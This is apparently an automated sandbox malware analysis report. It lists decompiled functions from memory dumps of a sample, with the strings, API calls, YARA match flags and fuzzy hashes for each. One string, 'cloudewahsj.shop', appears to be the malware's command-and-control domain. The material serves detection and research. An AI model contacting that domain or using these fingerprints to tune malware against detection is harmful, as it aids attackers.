Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00429C9A

Strings

67, xrefs: 00429C0E

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: 67
API String ID: 237503144-1886922373
Opcode ID: 38b103ba2a0b24bd1f0b7068b570aa69e159151b381139e18933ad9306aeec92
Instruction ID: 7ba92da05bbbaddbc1e3305b36c9b0db2ded0e94f959a81563e8173db3a816b3
Opcode Fuzzy Hash: 38b103ba2a0b24bd1f0b7068b570aa69e159151b381139e18933ad9306aeec92
Instruction Fuzzy Hash: A961FEB66083408FD724DF25D88176FBBE2EBC9304F19493DE5898B281DB75C805CB8A

Function 00437C10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 181COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00437C52
GetSystemMetrics.USER32 ref: 00437C62

Strings

, xrefs: 00437D4F

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 12748a352a6113057c12441240e5b0ee108c97012b660969c1fdd4a02f1b159c
Instruction ID: 45907af0f9aaa3a0b9b12b1f6695193350465b50a920b4478e3ecda7c38bd9fb
Opcode Fuzzy Hash: 12748a352a6113057c12441240e5b0ee108c97012b660969c1fdd4a02f1b159c
Instruction Fuzzy Hash: 23C15BB05093808BE7B0DF64D99979BFBF1BB85308F10992EE5984B354C7B89449CF4A

Function 0041906A Relevance: 5.3, Strings: 4, Instructions: 328COMMON

Download Yara Rule

Strings

wq, xrefs: 00419150
J, xrefs: 004194C6
67, xrefs: 00419200
u, xrefs: 004193AF

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 67$J$u$wq
API String ID: 0-4028943437
Opcode ID: 9816c7c8f30c88303995e0134799a24946b230c62976ec73ca8666db259d96e2
Instruction ID: 45cabc22797d8237a69fda20461bdfe49cb428b8aed426b658ce7b40843b0e88
Opcode Fuzzy Hash: 9816c7c8f30c88303995e0134799a24946b230c62976ec73ca8666db259d96e2
Instruction Fuzzy Hash: 2AB176B04483828BD7348F25C4A17EBBBE1EF92314F14892DD8D94B785E7794886CB87

Function 00428750 Relevance: 5.3, Strings: 4, Instructions: 328COMMON

Download Yara Rule

Strings

/X, xrefs: 00428A82
(\{, xrefs: 004287C8, 004288FA
&76#, xrefs: 00428A72
BDE:, xrefs: 004287C2, 004287F2

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID: InitializeThunk
String ID: &76#$(\{$/X$BDE:
API String ID: 2994545307-3380386618
Opcode ID: bda00dd6b24e91b95935bd233f1bfdad870dd724f28d61ad92188f97a0c207be
Instruction ID: de511f14106650819994a34559177bbffe3ae858db635c904efe7b47fdd347f8
Opcode Fuzzy Hash: bda00dd6b24e91b95935bd233f1bfdad870dd724f28d61ad92188f97a0c207be
Instruction Fuzzy Hash: 4C9146B27093119BD3109F25EC8176FB6D2EBC5318F58813EE4858B381EA3C9846878B

Function 021589B7 Relevance: 5.3, Strings: 4, Instructions: 328COMMON

Download Yara Rule

Strings

&76#, xrefs: 02158CD9
BDE:, xrefs: 02158A29, 02158A59
(\{, xrefs: 02158A2F, 02158B61
/X, xrefs: 02158CE9

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: &76#$(\{$/X$BDE:
API String ID: 0-3380386618
Opcode ID: 3e21cf73c2ae3528f4817cde07a7e232aa130a7225a0a67fc89e53a2e6491216
Instruction ID: 8eb26f43aa4f2503ecc6b51a82b5d0e338f4d48735b168fce82da813fe9d9088
Opcode Fuzzy Hash: 3e21cf73c2ae3528f4817cde07a7e232aa130a7225a0a67fc89e53a2e6491216
Instruction Fuzzy Hash: 5C9146B2A887108BD314DF25CC9176BB6D7EFC5314F1A857CE8A58B290E735D846C742

Function 004437D0 Relevance: 4.4, Strings: 3, Instructions: 647COMMON

Download Yara Rule

Strings

M;D, xrefs: 00443AF2
>D, xrefs: 00443ED1
UUK, xrefs: 00443D79

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: M;D$>D$UUK
API String ID: 0-3649699930
Opcode ID: 8ead049028bc91adeff9622f45da0367f919806cf8365be0a15fc24cee2962a3
Instruction ID: fc75cb93acbb787b45c4a477a4821f2fed63727632898f6dbcded6a89fb42fc6
Opcode Fuzzy Hash: 8ead049028bc91adeff9622f45da0367f919806cf8365be0a15fc24cee2962a3
Instruction Fuzzy Hash: 8E22FE3AA08310CFD314DF29E89072BB7E2FB8A315F4A887DD58987361E674D941CB85

Function 004438E0 Relevance: 4.3, Strings: 3, Instructions: 577COMMON

Download Yara Rule

Strings

M;D, xrefs: 00443AF2
>D, xrefs: 00443ED1
UUK, xrefs: 00443D79

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: M;D$>D$UUK
API String ID: 0-3649699930
Opcode ID: a4518d19f3d5ce0a92a9632ab1dce3ca5ef1e8b59513adf0c60c32138287e5c1
Instruction ID: 5b6f0a5fe011b24c48fd64f61fb35041aa1557f3f4dce62c9b8353607a503f3b
Opcode Fuzzy Hash: a4518d19f3d5ce0a92a9632ab1dce3ca5ef1e8b59513adf0c60c32138287e5c1
Instruction Fuzzy Hash: 5402DD39A08310CFE314CF29D89072BB7E2BBDA305F4A887DD589873A1D675D945CB85

Function 004438FB Relevance: 4.3, Strings: 3, Instructions: 566COMMON

Download Yara Rule

Strings

M;D, xrefs: 00443AF2
>D, xrefs: 00443ED1
UUK, xrefs: 00443D79

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: M;D$>D$UUK
API String ID: 0-3649699930
Opcode ID: 0e38d297613c04bad4889370033c92b5e70b601f85af2d172c698d41d8b03cdb
Instruction ID: 0ffe7b29edef83b041ea382641fdc4149dbc112461c51243b49d827887b3597f
Opcode Fuzzy Hash: 0e38d297613c04bad4889370033c92b5e70b601f85af2d172c698d41d8b03cdb
Instruction Fuzzy Hash: 2202DD3AA08310CFD314CF29D89072BB7E2BBDA305F4A887DD589873A2D675D945CB85

Function 004438F9 Relevance: 4.3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

Strings

M;D, xrefs: 00443AF2
>D, xrefs: 00443ED1
UUK, xrefs: 00443D79

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: M;D$>D$UUK
API String ID: 0-3649699930
Opcode ID: f19334b376416346e53576ffb4c07c93724e4cf39114a0a055eb46b0a26280a2
Instruction ID: 86640fba6bac160b05b0c43110ab63d66e8f7ec2f5acf9dcdae8f0d28c6b6e57
Opcode Fuzzy Hash: f19334b376416346e53576ffb4c07c93724e4cf39114a0a055eb46b0a26280a2
Instruction Fuzzy Hash: 8002ED3AA08310CFD314CF29D89072BB7E2BBDA305F4A887DD589873A1D675D945CB85

Function 00443A30 Relevance: 4.2, Strings: 3, Instructions: 488COMMON

Download Yara Rule

Strings

M;D, xrefs: 00443AF2
>D, xrefs: 00443ED1
UUK, xrefs: 00443D79

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: M;D$>D$UUK
API String ID: 0-3649699930
Opcode ID: 20f685b36d0ed9b593ab140bfc3a35f81c9690bbd879fe733f4b8e7e4bc2cfe5
Instruction ID: 631fa3f1d4c0726364ceec28ad2e892877ef6bcbce7aa5fcc49a4e7daf9cf800
Opcode Fuzzy Hash: 20f685b36d0ed9b593ab140bfc3a35f81c9690bbd879fe733f4b8e7e4bc2cfe5
Instruction Fuzzy Hash: DAE1FE39B09321CFD304DF29D89072AB7E2FB9A311F4A887DD589873A2D634D941CB85

Function 004239EB Relevance: 4.2, Strings: 3, Instructions: 458COMMON

Download Yara Rule

Strings

yD, xrefs: 00423BFC
F1E4A7962E918E70822D1F4978021086, xrefs: 00423CE9
cloudewahsj.shop, xrefs: 00424034

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: F1E4A7962E918E70822D1F4978021086$cloudewahsj.shop$yD
API String ID: 0-10122703
Opcode ID: 9f06e29270f24890e1894be452b6b26ef11b3f3b9a52aa199204e3ccf518dae8
Instruction ID: ea6ce95d3b2e4101921536522c50bf2979d69fc2778ed717b5a7399473229c95
Opcode Fuzzy Hash: 9f06e29270f24890e1894be452b6b26ef11b3f3b9a52aa199204e3ccf518dae8
Instruction Fuzzy Hash: BF322951608BD28DD326CB7C8848355BF912B27228F1C87DDD1E94F3D3D2AA8587C7A6

Function 021525D7 Relevance: 4.2, Strings: 3, Instructions: 457COMMON

Download Yara Rule

Strings

-jkhanold~m`, xrefs: 02152735
anold~m`, xrefs: 02152741
d~m`, xrefs: 0215271C

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: -jkhanold~m`$anold~m`$d~m`
API String ID: 0-185452761
Opcode ID: 07d2442547bbedbbbe6c066885c2d67aa08821165203c63c6e7e94bfc294603c
Instruction ID: 6a80fc5844958b4839321d910c2b25818952a3b218b77c7fdfd06d292b8b7701
Opcode Fuzzy Hash: 07d2442547bbedbbbe6c066885c2d67aa08821165203c63c6e7e94bfc294603c
Instruction Fuzzy Hash: 73D18BB16483908FD714DF68C891B6BB7E0EF85318F14495CF9A58B391E7B8D809CB52

Function 00422880 Relevance: 4.2, Strings: 3, Instructions: 455COMMON

Download Yara Rule

Strings

27, xrefs: 00422934
(\{, xrefs: 00422D01
!', xrefs: 0042289A

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: !'$(\{$27
API String ID: 0-4184852067
Opcode ID: f59c36ea8d3009de80897bc285a486c4a8992c853654d8c5358ed7f8b9326bec
Instruction ID: 5153aecd17f80642fd8c0eece016e91168ea77982d201b76830abc39117f0e9e
Opcode Fuzzy Hash: f59c36ea8d3009de80897bc285a486c4a8992c853654d8c5358ed7f8b9326bec
Instruction Fuzzy Hash: F5C156B57083109BD7149F29DD9276BB7E1EF81314F88852EE8C58B391E6BCD904C35A

Function 02152AE7 Relevance: 4.2, Strings: 3, Instructions: 455COMMON

Download Yara Rule

Strings

!', xrefs: 02152B01
(\{, xrefs: 02152F68
27, xrefs: 02152B9B

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: !'$(\{$27
API String ID: 0-4184852067
Opcode ID: 12ce45a36756b1f70682f7838d54c29fd27cb533d73a7c0cc1eee0f87610a5d7
Instruction ID: 826616a102f0f471719678262f7d162d76acbf053b7f46c580c481f7ad112199
Opcode Fuzzy Hash: 12ce45a36756b1f70682f7838d54c29fd27cb533d73a7c0cc1eee0f87610a5d7
Instruction Fuzzy Hash: 1CC128B26483108BD7249F28CC9277BB7E2EF81324F19856CECA58B291E779D905C752

Function 00443AC0 Relevance: 4.2, Strings: 3, Instructions: 453COMMON

Download Yara Rule

Strings

M;D, xrefs: 00443AF2
>D, xrefs: 00443ED1
UUK, xrefs: 00443D79

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: M;D$>D$UUK
API String ID: 0-3649699930
Opcode ID: 09983b5af298ebc2ab7316e1a61d0fcd52d55aeb2db287e4587fee054be01b28
Instruction ID: ab5f315b9e91ee1687aa44fd25e1738b775e8891b6341d15c5394949b1c7dc9f
Opcode Fuzzy Hash: 09983b5af298ebc2ab7316e1a61d0fcd52d55aeb2db287e4587fee054be01b28
Instruction Fuzzy Hash: 53D1FF3AA08310CFD314DF29D89072AB7E2FBDA310F4A897DE58987392D674D941CB85

Function 00421180 Relevance: 4.2, Strings: 3, Instructions: 428COMMON

Download Yara Rule

Strings

8deZ, xrefs: 00421342
567, xrefs: 004216A5
<`>f, xrefs: 00421337

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 8deZ$<`>f$567
API String ID: 0-937435233
Opcode ID: e36a9dac6d3b109f9905b89e82cd006d81b84e837a4896d73091fcfb4276f145
Instruction ID: 754c1abd1b676f1653a7a5478e22f099d0a2726f3b1f9a9f143ecbe85e8fc021
Opcode Fuzzy Hash: e36a9dac6d3b109f9905b89e82cd006d81b84e837a4896d73091fcfb4276f145
Instruction Fuzzy Hash: 99D1FFB06083208BD720DF24C851B6BB7F2FFE1354F498A6DE4858B3A5E3799845C756

Function 021513E7 Relevance: 4.2, Strings: 3, Instructions: 428COMMON

Download Yara Rule

Strings

567, xrefs: 0215190C
8deZ, xrefs: 021515A9
<`>f, xrefs: 0215159E

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 8deZ$<`>f$567
API String ID: 0-937435233
Opcode ID: e36a9dac6d3b109f9905b89e82cd006d81b84e837a4896d73091fcfb4276f145
Instruction ID: 96dea4d367daae27b1b8c851a8689633ccf53ff58455bdce877a303f061ca8c8
Opcode Fuzzy Hash: e36a9dac6d3b109f9905b89e82cd006d81b84e837a4896d73091fcfb4276f145
Instruction Fuzzy Hash: 7CD1EFB1548310CBD720DF24C851B6BB7F2EFC2318F098A6CE8998B395E3B99445CB52

Function 00429F7C Relevance: 4.2, Strings: 3, Instructions: 421COMMON

Download Yara Rule

Strings

(\{, xrefs: 0042A752
rYaT, xrefs: 00429FE8
ji46, xrefs: 00429FA4

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$ji46$rYaT
API String ID: 0-1255231798
Opcode ID: 50b9503766fda6a3b299027e53f19a6ac61b732975699a3fa8b313e916dca586
Instruction ID: dcd566aaca25f8eff7100027eceeae2756314058decd7535bc98b9674378a6ea
Opcode Fuzzy Hash: 50b9503766fda6a3b299027e53f19a6ac61b732975699a3fa8b313e916dca586
Instruction Fuzzy Hash: 1BE1F132A08351CFD314CF29D88035AB7E2FFCA324F698A6DE995572A1D734DC158B86

Function 0042F716 Relevance: 4.1, Strings: 3, Instructions: 366COMMON

Download Yara Rule

Strings

Tx+, xrefs: 0042FD77
5, xrefs: 0042FC83
bC, xrefs: 0042FD1D

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 5$Tx+$bC
API String ID: 0-2958649183
Opcode ID: bd69bc838739ae90d4b0a58172e55ce76a86b20f4efd0bead3c1e9785a5287de
Instruction ID: 57781aab13a08c1a066b8e14d20b5adcd793598ba32206fb76d556f76c65c1e4
Opcode Fuzzy Hash: bd69bc838739ae90d4b0a58172e55ce76a86b20f4efd0bead3c1e9785a5287de
Instruction Fuzzy Hash: 66B1C17050C3918AE7358F2990643ABFFE0AF93304F98496ED5C987392D7794409CB56

Function 0215F97D Relevance: 4.1, Strings: 3, Instructions: 366COMMON

Download Yara Rule

Strings

Tx+, xrefs: 0215FFDE
5, xrefs: 0215FEEA
bC, xrefs: 0215FF84

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: 5$Tx+$bC
API String ID: 0-2958649183
Opcode ID: 878d8cd2ffcbb237619de5602d15ed4e3526d5757278a69bfb0ca6ece5a1916c
Instruction ID: a0b07d34644a099cc02affa114538e4475c82f5c27132e28b6ca444d36147c7f
Opcode Fuzzy Hash: 878d8cd2ffcbb237619de5602d15ed4e3526d5757278a69bfb0ca6ece5a1916c
Instruction Fuzzy Hash: C0B1D17050C3D18AE739CF2980643ABFFE0AF97304F1889ADE5D987692D77A8405CB52

Function 0042FB7D Relevance: 4.1, Strings: 3, Instructions: 327COMMON

Download Yara Rule

Strings

Tx+, xrefs: 0042FD77
5, xrefs: 0042FC83
bC, xrefs: 0042FD1D

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: 5$Tx+$bC
API String ID: 0-2958649183
Opcode ID: b019f8faa7078be6aa673cad719c14887d56416cdb44293ea95d0146935d494c
Instruction ID: c6dbd191573f8eaa778921652fb4887c0da57f4868ba9d7cab245032b22be67a
Opcode Fuzzy Hash: b019f8faa7078be6aa673cad719c14887d56416cdb44293ea95d0146935d494c
Instruction Fuzzy Hash: D0A1C17050C3918AE739CF2994603EBBFE0AF96304F58897ED5C987392D7794409CB56

Function 0043099F Relevance: 4.0, Strings: 3, Instructions: 251COMMON

Download Yara Rule

Strings

.^Nw, xrefs: 00430C54
QRP,, xrefs: 00430C49
ut, xrefs: 00430B4D

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: ut$.^Nw$QRP,
API String ID: 0-2489489831
Opcode ID: 98cbce0613518649870af1c8974656c71542a717d1b33c78eb897c39670c9cda
Instruction ID: c8479f28a28c815cfbd9d5fc95f9476b123213feaa6e9ea5c0c948cebaf48d73
Opcode Fuzzy Hash: 98cbce0613518649870af1c8974656c71542a717d1b33c78eb897c39670c9cda
Instruction Fuzzy Hash: 3B710A7110D3918FD3258B2588B03E7BBD19FDB704F585A5DD0CA4B341DB794906CB56

Function 00415DD8 Relevance: 4.0, Strings: 3, Instructions: 215COMMON

Download Yara Rule

Strings

7, xrefs: 00415F1F
(\{, xrefs: 0041603B
gfff, xrefs: 00415F4F

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: (\{$7$gfff
API String ID: 0-2974664652
Opcode ID: 182f3249541d53321ff3a465a177239aaee99738a326feff563185d87f9bb099
Instruction ID: 4941e5eadb7aba571cda7473ebd939308df881bd2ae5f083bfc9904c5215119c
Opcode Fuzzy Hash: 182f3249541d53321ff3a465a177239aaee99738a326feff563185d87f9bb099
Instruction Fuzzy Hash: 7061F572A446118FE714CF29DC017ABB7E2EBC5314F09C62EE485DB392EB3898458B85

Function 0214603F Relevance: 4.0, Strings: 3, Instructions: 215COMMON

Download Yara Rule

Strings

gfff, xrefs: 021461B6
7, xrefs: 02146186
(\{, xrefs: 021462A2

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: (\{$7$gfff
API String ID: 0-2974664652
Opcode ID: 6c8c9fb26648e15531b3050723418642d5d2233e69bd9fa0fe755d291b7fc93a
Instruction ID: 1bd22bcec60bea7cb48bfec7e48ed6800a6962b40202aefbcf6e8a6e7fe8c3ae
Opcode Fuzzy Hash: 6c8c9fb26648e15531b3050723418642d5d2233e69bd9fa0fe755d291b7fc93a
Instruction Fuzzy Hash: D561F5726442518FE328CF29CC51B6BB7E6EBC5318F09C62DD499CB391EB34940ACB81

Function 0040F2D0 Relevance: 3.9, Strings: 3, Instructions: 168COMMON

Download Yara Rule

Strings

, xrefs: 0040F44B
K, xrefs: 0040F38E
:, xrefs: 0040F2F5

Memory Dump Source

Source File: 00000000.00000002.2334369394.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2334369394.0000000000457000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_m4lz5aeAiN.jbxd

Similarity

API ID:
String ID: $:$K
API String ID: 0-296352136
Opcode ID: d4ea87c64e246af4978a154c8bcba0dae997269c38e308e349982c1911dc0664
Instruction ID: e3fd2fc2a8267f717fe0e7e766dd9ea259cde5192962e3fe240e8cbdfa04c585
Opcode Fuzzy Hash: d4ea87c64e246af4978a154c8bcba0dae997269c38e308e349982c1911dc0664
Instruction Fuzzy Hash: 3A51A27250C7908AD7209B3884543AFBBD0AB96334F190F7EE8EAE73C1E67885458757

Function 0213F537 Relevance: 3.9, Strings: 3, Instructions: 168COMMON

Download Yara Rule

Strings

K, xrefs: 0213F5F5
, xrefs: 0213F6B2
:, xrefs: 0213F55C

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: $:$K
API String ID: 0-296352136
Opcode ID: d4ea87c64e246af4978a154c8bcba0dae997269c38e308e349982c1911dc0664
Instruction ID: 0faac7d3619d467ffa5b4db23d81ec99146397f8b43e67618a9d229855c17209
Opcode Fuzzy Hash: d4ea87c64e246af4978a154c8bcba0dae997269c38e308e349982c1911dc0664
Instruction Fuzzy Hash: F451067290C7908BD7259B3884543AFBBD1AB86324F190F2DE8EAD33C1E7348941CB52

Function 0215829E Relevance: 3.8, Strings: 3, Instructions: 98COMMON

Download Yara Rule

Strings

vC, xrefs: 021583C9
up, xrefs: 021583BE
@-, xrefs: 021583B3

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: @-$up$vC
API String ID: 0-1828384444
Opcode ID: 422b25fc84451906c3cd7cd792491071fe5ff7971ca24ee0d353181616b7cc8a
Instruction ID: f08106fe8375eda1f0da1f72dec92dfc9d3fc9398b0b7a58123e47972fd52145
Opcode Fuzzy Hash: 422b25fc84451906c3cd7cd792491071fe5ff7971ca24ee0d353181616b7cc8a
Instruction Fuzzy Hash: 60412EB02497819FE3248FA1D894B9BBBE2BBC6344F148A2DE1D84B351C7788449CF57

Function 0213092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

l, xrefs: 02130966
GetProcAddress., xrefs: 021309DC, 021309DF, 021309E4
., xrefs: 0213095F

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 3836c2c0c9d7d0588d79a54d7fb2a89bb352c49fe921cc1f55db2b8726cc0980
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 51314CB6940609DFDB11CF99C880AAEBBF6FF48324F15404AD445AB310D771EA45CFA4

Function 02147950 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 311COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,-000000D5,00000000,00000000,?), ref: 02147C78

Strings

X2c0, xrefs: 021479DC

Memory Dump Source

Source File: 00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp, Offset: 02130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2130000_m4lz5aeAiN.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: X2c0
API String ID: 237503144-1612431719
Opcode ID: 699e62a66c8bd060c75555ea85a6e323f78b4898e6ba044fdc3f12d6ed4cc69d
Instruction ID: 8a63c915a07165331c95639fb5a49298301a6f643be0a41f83fd1d27271c9390
Opcode Fuzzy Hash: 699e62a66c8bd060c75555ea85a6e323f78b4898e6ba044fdc3f12d6ed4cc69d
Instruction Fuzzy Hash: A3A105329483228BC724CF28C89136BF7E1FF94754F19991DE8C99B3A1E7748946C786

Function 00430F54 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

